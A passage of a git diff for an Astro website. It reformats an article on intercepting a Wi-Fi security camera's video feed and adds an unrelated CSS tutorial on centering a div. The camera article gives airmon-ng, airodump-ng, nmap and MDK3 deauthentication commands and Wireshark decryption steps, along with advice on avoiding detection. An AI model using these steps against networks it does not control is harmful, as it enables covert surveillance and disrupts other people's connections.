-    <td>HP-Print-B9-Officejet Pro 8600</td>
-  </tr>
-  <tr>
-    <td>20:10:7A:92:76:43</td>
-    <td>-51</td>
-    <td>2</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>130</td>
-    <td>WPA2</td>
-    <td>CCMP</td>
-    <td>PSK</td>
-    <td>SBG6580E8</td>
-  </tr>
-  <tr>
-    <td>DE:F2:86:EC:CA:A0</td>
-    <td>-45</td>
-    <td>1</td>
-    <td>0</td>
-    <td>0</td>
-    <td>11</td>
-    <td>195</td>
-    <td>WPA2</td>
-    <td>CCMP</td>
-    <td>PSK</td>
-    <td>Bourgeois Pig Guest</td>
-  </tr>
-  <tr>
-    <td>D6:04:CD:BD:33:A1</td>
-    <td>-55</td>
-    <td>1</td>
-    <td>0</td>
-    <td>0</td>
-    <td>11</td>
-    <td>130</td>
-    <td>WPA2</td>
-    <td>CCMP</td>
-    <td>PSK</td>
-    <td>DirtyLittleBirdyFeet</td>
-  </tr>
-  <tr>
-    <td>BSSID</td>
-    <td>STATION</td>
-    <td></td>
-    <td>PWR</td>
-    <td>Rate</td>
-    <td>Frames</td>
-    <td>Lost</td>
-    <td></td>
-    <td>CCMP</td>
-    <td>Probe</td>
-    <td></td>
-  </tr>
-</tbody>
-</table></pre><p>
-<code>
-root@kali:~/Desktop#
-<br>
-<br><br>
-</code>
-If our target is on channel 11, we'll run the following command to set our card to channel 11.<br><br> 
-<code>airmon-ng start wlan0mon 11</code></p>
+        <div id="prenote" class="story-top-scroll">
+          <h2>Prenote</h2>
+          <h3>Needed Items</h3>
+          <p>A computer with <a href="https://www.Wireshark.org/">Wireshark</a> and <a href="https://www.aircrack-ng.org/">AirCrack</a>, wifi adapter that supports monitoring and some time. </p>
+          <h3>Keywords</h3>
+          <p>
+            <code>&lbrace; &rbrace;</code> means commands for terminal. <code>( )</code> means general stuff.
+          </p>
+          <hr>
+          <p>To make this thing work we will need to use Wireshark to sniff out traffic between our host. Today's goal is to capture unencrypted HTTP traffic coming to the hosts' computer. <br>
+            <br> First things first, we have to break the encryption of the network. Even if you have the password, <b>do not</b> connect quite yet, it will bring attention to us and opens up more risk of detection. Instead, we can add some Wi-Fi keys we know to Wireshark. To decrypt the data, we sniff without connecting to the network. This means our attack will be mostly passive, leaving minimal opportunity for us to be detected. <br>
+            <br> One serious thing we'll need that is not passive is a Wi-Fi handshake to see the ongoing traffic. Because since Wireshark needs to observe a Wi-Fi handshake to decrypt subsequent traffic, the computer we're interested in with an awesome filter, captures a four-way WPA handshake and then decrypts the data with the password we know. <br>
+            <br> Conditions must be favorable for this attack to have a chance of succeeding. In particular, if the camera does not use an insecure interface, then the data will be encrypted, and we will not be able to see it. <br>
+            <br> If no one is watching the camera feed, or it's not displayed on a monitor, there will be no insecure traffic to intercept, so we will not see anything. If we cannot kick a client off the network momentarily to generate a four-way handshake, then knowing the password won't do us any good. And finally, if we're out of range of the network, we won't be able to intercept traffic we can't clear. <br>
+            <br> While this may seem like a lot of requirements, it's fairly common to be able to do this. If the target has a Wi-Fi security camera and keeps a monitor viewing the display, the Wi-Fi password should be all you need, aside from a Wi-Fi adapter. <br>
+            <br> You should be ready once you're in range and have any operating system loaded up with the required tools. Plug in your adapter, and make sure you have Wireshark installed to begin. If you don't have Wireshark, <code>sudo apt install Wireshark -y</code> or <code>sudo pacman -S Wireshark -y</code>.
+          </p>
         </div>
-<div id="s3" class="story-top-scroll">
-<h2>Step 3</h2>
-<p>Now that our wireless network adapter is listening on the same channel as the traffic we want to intercept, it's time to start Wireshark. When Wireshark opens, double-click the card you put in monitor mode to start the capture. Our card should now be scanning on the correct channel, but without the network password, we won't be able to see anything. To solve that, we'll need to add some encryption keys to Wireshark. </p>
-      </div>
-<div id="s4" class="story-top-scroll">
-  <h2>Step 4</h2>
-<p>
-To add the encryption keys to Wireshark, click on "Edit" in the menu bar, then "Preferences" to show the preferences menu. Next, select "Protocols" from the sidebar to see a list of protocols that Wireshark can translate.
-<br><br>
-In the Protocols drop-down menu you just opened, you'll want to select <code>IEEE 802.11</code> to show options for decrypting Wi-Fi. Make sure that the "Enable Decryption" box is checked, and then click the "Edit" button next to "Decryption keys" to open the list of keys Wireshark will try to use to decrypt traffic.
-<br><br>
-Once the WEP and WPA decryption key menu is open, click on the field to the left and select "pa-psw" to add. While we can also add a <code>wpa-psk</code> here, we would have to calculate it ourselves, which is more complicated than simply entering the password.
-<br><br>
-For the decryption to work, you must add the key by clicking on the plus <code>(+)</code> icon, and then enter the key in the format <code>(password:networkname)</code> to add to the list.
-<br><br>
-Click "OK" to save the key, and now we should be able to decrypt traffic from his network if we can grab a four-way Wi-Fi handshake.</p>
-      </div>
-<div id="s5" class="story-top-scroll">
-  <h2>Step 5</h2>
-<p>
-In our Wireshark capture, we're sure to be seeing a lot of traffic. While we can't yet decrypt it because we don't have a handshake, we can build a filter to make sure we're only seeing traffic to the device we're sniffing.
-<br><br>
-The best way to do this over a Wi-Fi network is to find a piece of traffic to the computer we're looking for, and then make a display filter to show only packets heading to that MAC address. That means that any traffic directed to the target computer will be displayed, and any other network traffic will be ignored.
-<br><br>
-Looking under the packet information, right-click the "Receiver address" for a packet being sent to the target device, select "Apply as Filter", and then "Selected". Now, we should see only packets to the target.</p>
-      </div>
-<div id="s6" class="story-top-scroll">
-  <h2>Step 6</h2>
-<p>
-Now that we've isolated the traffic from our target device, we need to generate a four-way handshake by kicking the target computer off the network momentarily while Wireshark is listening. To do this, we can use a tool named MDK3, which can kick any devices connected to Wi-Fi off and generate a handshake. Highly suggest looking into using MDK3 for Advanced Wi-Fi jamming.
-<br><br>
-Because we already know the channel our Wi-Fi network is on, we can use MDK3 to take out any device operating on that channel. You should not need long to generate a WPA handshake. With "wlan0mon" swapped for the name of your wireless card, and "11" swapped for the channel you're attacking, run the following command in a terminal window to start jamming the network. 
-<code><br><br>
-&lbrace;
-mdk3 wlan0mon d -c 11
-&rbrace;
-</code>
-<br><br>
-After a few moments, nearby devices on the network should automatically reconnect, allowing you to intercept the WPA four-way handshake. If you want to make sure you have it, you can open a new terminal and run Airodump-ng to see when you get a WPA handshake. To do so, type:
-<code><br><br>
-&lbrace;<br>
-airodump-ng wlan0mon 11<br>
-&rbrace;</code><br>
-<br>
-Substituting "wlan0mon" and "11" for your actuals to watch for WPA handshakes while you run MDK3.
-<br><br>
-Once you see the result above, you've captured a WPA four-way handshake! Make sure to match the MAC address shown with the wireless network you're targeting to avoid a handshake for the wrong network.
-<br><br>
-Now that we have a four-way handshake and have entered the network key, we should have full access to data flowing over the network. While HTTPS is still on the table, we should be able to see raw HTTP just fine.</p>
-      </div>
-<div id="s7" class="story-top-scroll">
-  <h2>Step 7</h2>
-<p>While we've gained access to the network traffic and narrowed it down to the target computer, there may be other traffic that's unrelated and makes it difficult to focus on what we're looking for. To cut through this, we'll add another network filter to show only HTTP traffic flowing through the network.
-<br><br>
-In the Wireshark main view, type HTTP into the display filter bar.
-</p>
+        <div id="s1" class="story-top-scroll">
+          <h2>Step 1</h2>
+          <p> To start, you'll need to access the built-in interface on whatever webcam or Wi-Fi security camera you want to intercept. In a browser window on your "host" computer, navigate to the HTTP interface, enter any password required, and begin viewing the live webcam view. <br>
+            <br> If you need to find your camera on the network, you can run a <a href="https://nmap.org/">Nmap</a> scan to discover different devices on the network running insecure HTTP ports. <br>
+            <br> For this command, you'll need to know the network range. you can find this by typing <code>ifconfig</code> and copying down the IP address assigned to your computer. Then, you can type <code>ipcalc</code> and your IP address to calculate the network range. It should be something like <code>192.168.0.0/24</code>. Run the following command but replace "IP" for your network range. <code>sudo nmap -p 80,81,8080, 8081 IP</code>
+            <br>
+            <br> This will look for devices with these ports "open", and when you find one, you can navigate it by typing the IP address and then <code>:81</code> on that IP address. If you want to navigate to port <code>80801</code> type <code>192.168.0.1:8081</code> to your browser window.
+          </p>
         </div>
-<div id="s8" class="story-top-scroll">
-<h2>Step 8</h2><p>
-Now that we can see the HTTP traffic from the web app, we'll need to select the encoded JPEG files to turn them into something we can work with. Stop the capture, and then click on "File", then "Export Objects." We'll be exploring the HTTP objects we've found, so click on "HTTP" to open the object list.
-<br><br>
-In the HTTP object list, we'll see a list of HTTP objects we've intercepted. Here we can see the JPEG images we want to decode. You can select one or all of them, and then click "Save" or "Save All" and pick a location to export the files to.
-<br><br>
-Click "Close", and then navigate to the folder you exported the images to. You should see a list of files that Wireshark exported from our capture. This will be more or less depending on how long you ran the capture.
-<br><br>
-Finally, click on one of the images to see the image that was intercepted on the way to the target computer. You should see a frame from the video feed!
-  </p></div>
-</div></Fragment>
-</Scrollspy>
-<Footer />
-<BackToTop />
+        <div id="s2" class="story-top-scroll">
+          <h2>Step 2</h2>
+          <p> You'll need to plug in your Wi-Fi adapter, I prefer the "Alfa AWUSO36NHA". You'll need to do two things before starting up Wireshark, the first being putting the card into wireless monitor mode, and the second being identifying the channel the router you're targetting is broadcasting on. <br>
+            <br> To put your card into wireless monitor mode, identify the name of your card by running <code>ifconfig</code> in a terminal window. It should be named something like <code>wlan0</code> or <code>wlan0mon</code>. <br>
+            <br> Once you've found the name of your wireless card, we'll need to put it into monitor mode. Run the following command in a terminal window, with the name of your card substituted for <code>wlan0</code>. <br>
+            <br>
+            <code>airmon-ng start wlan0 <br> airodump-ng start wlan0mon </code>
+            <br>
+            <br> This will put your card in the wireless monitor more, changing the name of the card to add "mon" at the end. It will also start Airodump-ng, which will start scanning for nearby wireless networks. <br>
+            <br> Please be sure to look for the Wi-Fi network that you're looking to sniff, and note the channel that it's on. We'll need to switch our card to that channel to intercept the images in Wireshark. The following is a sample output. <b>Some of the output has been converted to a table. It is still a part of the console output.</b>
+            <code>
+              <br>
+              <br>
+              <br>
+              <br> CH&nbsp;&nbsp;4 ][ Elapsed: 0 s ][ 2018-12-24 02:42 <br>
+            </code>
+          </p>
+          <pre>
+            <table class="table">
+              <thead>
+                <tr>
+                  <th scope="col">BSSID</th>
+                  <th scope="col">PWR</th>
+                  <th scope="col">Beacons</th>
+                  <th scope="col">#Data,</th>
+                  <th scope="col">#/s</th>
+                  <th scope="col">CH</th>
+                  <th scope="col">MB</th>
+                  <th scope="col">ENC</th>
+                  <th scope="col">CIPHER</th>
+                  <th scope="col">AUTH</th>
+                  <th scope="col">ESSID</th>
+                </tr>
+              </thead>
+              <tbody>
+                <tr>
+                  <td>C0:8A:DE:39:CD:D9</td>
+                  <td>-46</td>
+                  <td>2</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>130</td>
+                  <td>WPA2</td>
+                  <td>CCMP</td>
+                  <td>MGT</td>
+                  <td>TWCWiFi-Passpoint</td>
+                </tr>
+                <tr>
+                  <td>C0:8A:DE:F9:CD:D8</td>
+                  <td>-47</td>
+                  <td>2</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>130</td>
+                  <td>OPN</td>
+                  <td></td>
+                  <td></td>
+                  <td>TWCWiFi</td>
+                </tr>
+                <tr>
+                  <td>C0:8A:DE:B9:CD:D8</td>
+                  <td>-46</td>
+                  <td>2</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>130</td>
+                  <td>OPN</td>
+                  <td></td>
+                  <td></td>
+                  <td>SpectrumWiFi</td>
+                </tr>
+                <tr>
+                  <td>C0:8A:DE:39:CD:D8</td>
+                  <td>-47</td>
+                  <td>2</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>130</td>
+                  <td>OPN</td>
+                  <td></td>
+                  <td></td>
+                  <td>CableWiFi</td>
+                </tr>
+                <tr>
+                  <td>78:96:84:00:B5:B0</td>
+                  <td>-42</td>
+                  <td>2</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>130</td>
+                  <td>WPA2</td>
+                  <td>CCMP</td>
+                  <td>PSK</td>
+                  <td>The Daily Planet</td>
+                </tr>
+                <tr>
+                  <td>00:9C:02:D2:5E:B9</td>
+                  <td>-60</td>
+                  <td>3</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>54e.</td>
+                  <td>WPA2</td>
+                  <td>CCMP</td>
+                  <td>PSK</td>
+                  <td>HP-Print-B9-Officejet Pro 8600</td>
+                </tr>
+                <tr>
+                  <td>20:10:7A:92:76:43</td>
+                  <td>-51</td>
+                  <td>2</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>1</td>
+                  <td>130</td>
+                  <td>WPA2</td>
+                  <td>CCMP</td>
+                  <td>PSK</td>
+                  <td>SBG6580E8</td>
+                </tr>
+                <tr>
+                  <td>DE:F2:86:EC:CA:A0</td>
+                  <td>-45</td>
+                  <td>1</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>11</td>
+                  <td>195</td>
+                  <td>WPA2</td>
+                  <td>CCMP</td>
+                  <td>PSK</td>
+                  <td>Bourgeois Pig Guest</td>
+                </tr>
+                <tr>
+                  <td>D6:04:CD:BD:33:A1</td>
+                  <td>-55</td>
+                  <td>1</td>
+                  <td>0</td>
+                  <td>0</td>
+                  <td>11</td>
+                  <td>130</td>
+                  <td>WPA2</td>
+                  <td>CCMP</td>
+                  <td>PSK</td>
+                  <td>DirtyLittleBirdyFeet</td>
+                </tr>
+                <tr>
+                  <td>BSSID</td>
+                  <td>STATION</td>
+                  <td></td>
+                  <td>PWR</td>
+                  <td>Rate</td>
+                  <td>Frames</td>
+                  <td>Lost</td>
+                  <td></td>
+                  <td>CCMP</td>
+                  <td>Probe</td>
+                  <td></td>
+                </tr>
+              </tbody>
+            </table>
+          </pre>
+          <p>
+            <code> root@kali:~/Desktop# <br>
+              <br>
+              <br>
+            </code> If our target is on channel 11, we'll run the following command to set our card to channel 11. <br>
+            <br>
+            <code>airmon-ng start wlan0mon 11</code>
+          </p>
+        </div>
+        <div id="s3" class="story-top-scroll">
+          <h2>Step 3</h2>
+          <p>Now that our wireless network adapter is listening on the same channel as the traffic we want to intercept, it's time to start Wireshark. When Wireshark opens, double-click the card you put in monitor mode to start the capture. Our card should now be scanning on the correct channel, but without the network password, we won't be able to see anything. To solve that, we'll need to add some encryption keys to Wireshark. </p>
+        </div>
+        <div id="s4" class="story-top-scroll">
+          <h2>Step 4</h2>
+          <p> To add the encryption keys to Wireshark, click on "Edit" in the menu bar, then "Preferences" to show the preferences menu. Next, select "Protocols" from the sidebar to see a list of protocols that Wireshark can translate. <br>
+            <br> In the Protocols drop-down menu you just opened, you'll want to select <code>IEEE 802.11</code> to show options for decrypting Wi-Fi. Make sure that the "Enable Decryption" box is checked, and then click the "Edit" button next to "Decryption keys" to open the list of keys Wireshark will try to use to decrypt traffic. <br>
+            <br> Once the WEP and WPA decryption key menu is open, click on the field to the left and select "pa-psw" to add. While we can also add a <code>wpa-psk</code> here, we would have to calculate it ourselves, which is more complicated than simply entering the password. <br>
+            <br> For the decryption to work, you must add the key by clicking on the plus <code>(+)</code> icon, and then enter the key in the format <code>(password:networkname)</code> to add to the list. <br>
+            <br> Click "OK" to save the key, and now we should be able to decrypt traffic from his network if we can grab a four-way Wi-Fi handshake.
+          </p>
+        </div>
+        <div id="s5" class="story-top-scroll">
+          <h2>Step 5</h2>
+          <p> In our Wireshark capture, we're sure to be seeing a lot of traffic. While we can't yet decrypt it because we don't have a handshake, we can build a filter to make sure we're only seeing traffic to the device we're sniffing. <br>
+            <br> The best way to do this over a Wi-Fi network is to find a piece of traffic to the computer we're looking for, and then make a display filter to show only packets heading to that MAC address. That means that any traffic directed to the target computer will be displayed, and any other network traffic will be ignored. <br>
+            <br> Looking under the packet information, right-click the "Receiver address" for a packet being sent to the target device, select "Apply as Filter", and then "Selected". Now, we should see only packets to the target.
+          </p>
+        </div>
+        <div id="s6" class="story-top-scroll">
+          <h2>Step 6</h2>
+          <p> Now that we've isolated the traffic from our target device, we need to generate a four-way handshake by kicking the target computer off the network momentarily while Wireshark is listening. To do this, we can use a tool named MDK3, which can kick any devices connected to Wi-Fi off and generate a handshake. Highly suggest looking into using MDK3 for Advanced Wi-Fi jamming. <br>
+            <br> Because we already know the channel our Wi-Fi network is on, we can use MDK3 to take out any device operating on that channel. You should not need long to generate a WPA handshake. With "wlan0mon" swapped for the name of your wireless card, and "11" swapped for the channel you're attacking, run the following command in a terminal window to start jamming the network. <code>
+              <br>
+              <br> &lbrace; mdk3 wlan0mon d -c 11 &rbrace; </code>
+            <br>
+            <br> After a few moments, nearby devices on the network should automatically reconnect, allowing you to intercept the WPA four-way handshake. If you want to make sure you have it, you can open a new terminal and run Airodump-ng to see when you get a WPA handshake. To do so, type: <code>
+              <br>
+              <br> &lbrace; <br> airodump-ng wlan0mon 11 <br> &rbrace; </code>
+            <br>
+            <br> Substituting "wlan0mon" and "11" for your actuals to watch for WPA handshakes while you run MDK3. <br>
+            <br> Once you see the result above, you've captured a WPA four-way handshake! Make sure to match the MAC address shown with the wireless network you're targeting to avoid a handshake for the wrong network. <br>
+            <br> Now that we have a four-way handshake and have entered the network key, we should have full access to data flowing over the network. While HTTPS is still on the table, we should be able to see raw HTTP just fine.
+          </p>
+        </div>
+        <div id="s7" class="story-top-scroll">
+          <h2>Step 7</h2>
+          <p>While we've gained access to the network traffic and narrowed it down to the target computer, there may be other traffic that's unrelated and makes it difficult to focus on what we're looking for. To cut through this, we'll add another network filter to show only HTTP traffic flowing through the network. <br>
+            <br> In the Wireshark main view, type HTTP into the display filter bar.
+          </p>
+        </div>
+        <div id="s8" class="story-top-scroll">
+          <h2>Step 8</h2>
+          <p> Now that we can see the HTTP traffic from the web app, we'll need to select the encoded JPEG files to turn them into something we can work with. Stop the capture, and then click on "File", then "Export Objects." We'll be exploring the HTTP objects we've found, so click on "HTTP" to open the object list. <br>
+            <br> In the HTTP object list, we'll see a list of HTTP objects we've intercepted. Here we can see the JPEG images we want to decode. You can select one or all of them, and then click "Save" or "Save All" and pick a location to export the files to. <br>
+            <br> Click "Close", and then navigate to the folder you exported the images to. You should see a list of files that Wireshark exported from our capture. This will be more or less depending on how long you ran the capture. <br>
+            <br> Finally, click on one of the images to see the image that was intercepted on the way to the target computer. You should see a frame from the video feed!
+          </p>
+        </div>
+        <hr>
+        <div id="copyright">
+          <h6>&reg; AT Products (LLC) 2019-<script is:inline src="/static/year.js"></script></h6>
+          <h6>AT Products LLC is the publisher of this article/story.</h6>
+        </div>
+      </Fragment>
+    </Scrollspy>
+  </div>
+  <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/stories/div.astro b/src/pages/stories/div.astro
new file mode 100644
index 000000000..1d5c4d15c
--- /dev/null
+++ b/src/pages/stories/div.astro
@@ -0,0 +1,153 @@
+---
+import Head from '../../layouts/Head.astro';
+import Navbar from '../../layouts/stories/Navbar.astro';
+import Scrollspy from '../../layouts/stories/Scrollspy.astro';
+import Scripts from '../../layouts/Scripts.astro';
+import BackToTop from '../../components/BackToTop.astro';
+---
+
+<Head title="How to Center a <div>" description="AT Products LLC's Bookviewer presents 'How to Center a <div>'!" author="Alex Toucan" />
+<div id="page">
+  <Navbar pageTitle="How to Center a <div>" />
+  <div id="main-content">
+    <Scrollspy id="div" 
+      scrollcontent={[ 
+        { name: "Horizontally Aligning" , href: "#horizontal" }, 
+        { name: "Vertically Aligning" , href: "#vertical" }, 
+        { name: "Aligning in Both Directions" , href: "#both" },  
+        { name: "Sources" , href: "#sources" }, 
+      ]} 
+    >
+      <Fragment slot="scrollspy-content">
+        <div id="intro" class="story-top-scroll">
+          <h1>How to Center a <code>&lt;div&gt;</code></h1>
+          <h5><b>Made & Published by:</b> <a href="/">AT Products LLC</a>.</h5>
+          <h5><b>Published on:</b> October 23rd, 2024.</h5>
+          <br>
+          <p>This article contains information on how to center a <code>&lt;code&gt;</code> using CSS, horizontally and vertically, within HTML. The sole purpose of this article is to annoy <a href="https://github.com/VenenJean">Venen Jean</a>, so have fun with this little payback.</p>
+          <hr>
+        </div>
+        <div id="horizontal">
+          <h2>Horizontally Aligning</h2>
+          <p>Horizontally aligning a <code>&lt;div&gt;</code> is more easier than vertically aligning a <code>&lt;div&gt;</code>.</p>
+          <h3>Auto Margin</h3>
+          <p>A margin sets the space outside the selected element. Setting the element's left and right margin to auto, automatically makes it centered horizontally. </p>
+          <p>Your code should contain <code>margin-left: auto;</code> and <code>margin-right: auto;</code>, and it's <code>display</code> must be set to <code>block</code> using <code>display: block;</code>. <a href="#source-1" class="fw-bold">[1]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering a image in all directions." src="https://codepen.io/alex-toucan/embed/bGXqrZY?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/bGXqrZY">
+            Centering a image in all directions.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Flexbox</h3>
+          <p>You can also use Flexbox to center your &lt;div&gt; using <code>display: flex;</code> and <code>justify-content: center;</code>. <a href="#source-4" class="fw-bold">[4]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering a div in a horizontal direction." src="https://codepen.io/alex-toucan/embed/RwXpQJj?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/RwXpQJj">
+            Centering a div in a horizontal direction.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Text Center</h3>
+          <p>To center not necessarily a <code>&lt;div&gt;</code>, but any text, use <code>text-align: center;</code> for its property. <a href="#source-1" class="fw-bold">[1]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in a horizontal direction." src="https://codepen.io/alex-toucan/embed/bGXqLLx?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/bGXqLLx">
+            Centering text in a horizontal direction.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+        </div>
+        <div id="vertical">
+          <h2>Vertically Aligning</h2>
+          <p>Vertically aligning a <code>&lt;div&gt;</code> is harder than horizontally aligning.</p>
+          <h3>Using Position and Transform</h3>
+          <p>Combining <code>position: relative;</code> for your parent container, and using <code>position: absolute;</code>, <code>top: 50%;</code>, and <code>transform: translateY(-50%);</code> for your child container. This can align the child container in a vertical direction. <a href="#source-2" class="fw-bold">[2]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in a vertical direction using position." src="https://codepen.io/alex-toucan/embed/JjgWpgN?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/JjgWpgN">
+            Centering text in a vertical direction using position.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Padding</h3>
+          <p>Top and bottom padding can vertically center text. <a href="#source-1" class="fw-bold">[1]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in a vertical direction using padding." src="https://codepen.io/alex-toucan/embed/mdNWXGX?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/mdNWXGX">
+            Centering text in a vertical direction using padding.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Line Height</h3>
+          <p>For <code>line-height</code> to vertically align text, it must be the same height as the container. If your text is above one line, you can use <code>line-height: 1.5;</code> on the <code>&lt;p&gt;</code> tag. <a href="#source-1" class="fw-bold">[1]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in a vertical direction using line height." src="https://codepen.io/alex-toucan/embed/JjgWpgN?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/JjgWpgN">
+            Centering text in a vertical direction using line height.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+        </div>
+        <div id="both">
+          <h2>Aligning in Both Directions</h2>
+          <p>This section will show how a &lt;div&gt; can be both horizontally and vertically aligned.</p>
+          <h3>Flexbox</h3>
+          <p>You can use Flexbox to center your &lt;div&gt; using <code>display: flex;</code>, <code>justify-content: center;</code>, <code>align-items: center;</code>, and setting a <code>height</code> on a parent container. <a href="#source-4" class="fw-bold">[4]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering a div in all directions." src="https://codepen.io/alex-toucan/embed/OJKpQww?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/OJKpQww">
+            Centering a div in all directions.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Using Position and Transform</h3>
+          <p>Combining <code>position: relative;</code> for your parent container, and using <code>position: absolute;</code>, <code>top: 50%;</code>, <code>left: 50%;</code>, and <code>transform: translate(-50%, -50%);</code> for your child container. This can align the child container in all directions. <a href="#source-2" class="fw-bold">[2]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in all directions using line height." src="https://codepen.io/alex-toucan/embed/VwopQgM?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/VwopQgM">
+            Centering position in all directions using position.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Padding</h3>
+          <p>Top and bottom padding, combined with <code>text-align: center;</code>, can horizontally and vertically align text. <a href="#source-1" class="fw-bold">[1]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in all directions using padding." src="https://codepen.io/alex-toucan/embed/bGXqLmQ?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/bGXqLmQ">
+            Centering text in all directions using padding.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+          <h3>Line Height</h3>
+          <p>For <code>line-height</code> to vertically align text, it must be the same height as the container. You can also combine this with <code>text-align: center;</code>. If your text is above one line, you can use <code>line-height: 1.5;</code> on the <code>&lt;p&gt;</code> tag. <a href="#source-1" class="fw-bold">[1]</a></p>
+          <iframe height="300" style="width: 100%;" scrolling="no" title="Centering text in all directions using line height." src="https://codepen.io/alex-toucan/embed/wvVJyRQ?default-tab=css%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
+            See the Pen <a href="https://codepen.io/alex-toucan/pen/wvVJyRQ">
+            Centering text in all directions using line height.</a> by Alex-Toucan (<a href="https://codepen.io/alex-toucan">@alex-toucan</a>)
+            on <a href="https://codepen.io">CodePen</a>.
+          </iframe>
+        </div>
+        <div id="sources" class="story-top-scroll">
+          <h2>Sources</h2>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-1">[1]</div>
+            <div class="col">
+              W3Schools. “CSS Layout - Horizontal & Vertical Align.” Www.w3schools.com, <a href="https://www.w3schools.com/css/css_align.asp">www.w3schools.com/css/css_align.asp</a>. Accessed 14 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-2">[2]</div>
+            <div class="col">
+              “How to Center an Element Vertically.” Www.w3schools.com, <a href="https://www.w3schools.com/howto/howto_css_center-vertical.asp">www.w3schools.com/howto/howto_css_center-vertical.asp</a>. Accessed 14 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-3">[3]</div>
+            <div class="col">
+              Abdu. “How Can I Vertically Align Elements in a Div?” Stack Overflow, 17 Sept. 2008, <a href="https://www.stackoverflow.com/questions/79461/how-can-i-vertically-align-elements-in-a-div">stackoverflow.com/questions/79461/how-can-i-vertically-align-elements-in-a-div</a>. Accessed 14 Oct. 2024.
+            </div>
+          </div>
+          <br>
+          <div class="d-flex">
+            <div class="col-1 fw-bold" id="source-4">[4]</div>
+            <div class="col">
+              “How to Center a &lt;div&gt; Using Flexbox Property of CSS.” GeeksforGeeks, GeeksforGeeks, 16 Sept. 2024, <a href="https://www.geeksforgeeks.org/how-to-center-a-div-using-flexbox-property-of-css/">www.geeksforgeeks.org/how-to-center-a-div-using-flexbox-property-of-css/</a>. Accessed 14 Oct. 2024.
+            </div>
+          </div>
+        </div>
+        <hr>
+        <div id="copyright">
+          <h6>&reg; AT Products (LLC) 2019-<script is:inline src="/static/year.js"></script></h6>
+          <h6>AT Products LLC is the author and publisher of this article/story.</h6>
+        </div>
+      </Fragment>
+    </Scrollspy>
+  </div>
+  <BackToTop />
+</div>
+<Scripts />
diff --git a/src/pages/stories/index.astro b/src/pages/stories/index.astro
new file mode 100644
index 000000000..f78c8ddb7
--- /dev/null
+++ b/src/pages/stories/index.astro
@@ -0,0 +1,34 @@
+---
+import Head from '../../layouts/Head.astro';
